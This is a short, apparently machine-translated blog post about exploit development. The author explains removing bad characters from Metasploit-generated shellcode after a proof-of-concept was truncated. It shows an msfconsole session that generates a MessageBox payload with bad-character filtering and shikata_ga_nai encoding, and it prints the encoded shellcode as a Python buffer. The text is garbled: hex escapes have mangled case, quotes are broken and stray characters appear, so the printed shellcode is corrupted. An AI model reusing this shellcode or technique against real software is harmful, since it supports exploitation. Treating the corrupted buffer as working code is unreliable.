Shellcode study has two directions, one is to concentrate on research springboard ROP, and the other is to concentrate on the payload part. In order to get a clear idea of the recent tasks, we should give up research shellcode and use them directly from MSF.
Looking at the generation principle of the ROP chain, all is well, in the implementation of Shellcode, found in the implementation of the process of problems. After careful review of the layout, it is found that the use of the POC is truncated to bad chars and needs to be filtered. Using the Msfpayload module to generate the default pop-up window is not used at all Ah, using 0day2 on the Shellcode is also because the bad character '0A' exists.
So you can only use the filter.
[Email protected]:~#MSFCONSOLEMSF > Use Payload/windows/messagebox MSF Payload (MessageBox) > Generate-b '\x00\x0a\x0d '-T python#windows/messagebox-297 bytes#Http://www.metasploit.com#Encoder:x86/shikata_ga_nai#Verbose=false, Prependmigrate=false, Exitfunc=process,#Title=messagebox, Text=hello, from msf!, icon=nobuf = "buf + ="\XB8\xdc\xa5\x17\xe0\xda\xcd\xd9\x74\x24\XF4\x5b\x"Buf + ="\XC9\XB1\x44\x31\x43\x14\x03\x43\x14\x83\xeb\XFC\x3e "buf + ="\x50\xce\x0b\x25\x42\x85\xef\xad\x44\XB4\x42\x3a\x"Buf + ="\XF1\XC7\x4f\xa9\x31\x83\x39\x46\XB9\xe5\xd9\XDD\XFB"Buf + ="\x01\x6a\x9f\x23\x99\x5a\x58\x6b\x85\xd7\x6b\x2a\XB4 "buf + ="\XC6\x73\x2c\xd6\x63\xe7\x8b\x33\XF8\XBD\xef\XB0\xaa"Buf + ="\x15\x68\XC6\XB8\xed\XC2\xd0\XB7\xa8\XF2\xe1\x2c\xaf"Buf + ="\XC7\xa8\x39\x04\xa3\x2a\xd3\x54\x4c\x1d\xeb\x6b\x1e "BUF + ="\xda\x2b\xe7\x58\x22\x64\x05\x66\x63\x91\xe2\x53\x"Buf + ="\x41\x23\xd1\x06\x02\x69\x3d\XC8\xff\xe8\XB6\XC6\XB4 "buf + ="\x7f\x92\xca\x4b\x6b\xa8\XF7\XC0\x6a\x47\x7e\x92\x"Buf + ="\x8b\xe0\xd9\x23\XBB\XCB\x09\xca\x59\x82\x73\xa5\x2f "BUF + ="\xdb\x7d\xda\x62\x0c\x1e\XDD\x7c\x33\xa9\x67\x87\x"Buf + ="\xd7\XBF\x65\XF4\xa0\x5c\x4e\xa9\x46\xd2\x71\XB2\x"Buf + ="\x62\XC8\x45\xfd\x19\XBF\x75\XBC\x89\x0c\x44\x10\x2e "BUF + ="\x1b\XDD\x1f\XCB\xa9\x95\x83\x37\x44\x2f\XDD\x6e\xa7 "BUF + ="\x7a\x25\x06\x95\xd5\x9e\XB0\XB8\x9b\x5c\x47\xa0\x"Buf + ="\xce\xa0\XB8\XB8\x11\XCF\x53\x28\x95\x68\x84\xde\x"Buf + ="\xee\xa1\x5c\xae\XBD\x4c\x12\x5d\x0f\x54\x5c\xfd\x4b "buf + ="\x60\xd4\x1e\XFB\x2c\XC6\XC0\xdc\xa4\x4b\x53\x5b\x"Buf + ="\x3c\x21st\x0c\x3b\x9c\xad\XBD\xef\XFC\x4b\x2a\XB8\x"Buf + ="\xff\XC6\x09\xab\x77\x5a\x4e\x3b\x0e\x82\XBF\xe9\x"Buf + ="\x16\x91\x5f\x9d\x48\x20\xa0\x31\x96\x16\x28 "
Click the link to view generate's correct posture click me
MSF generates payload filtering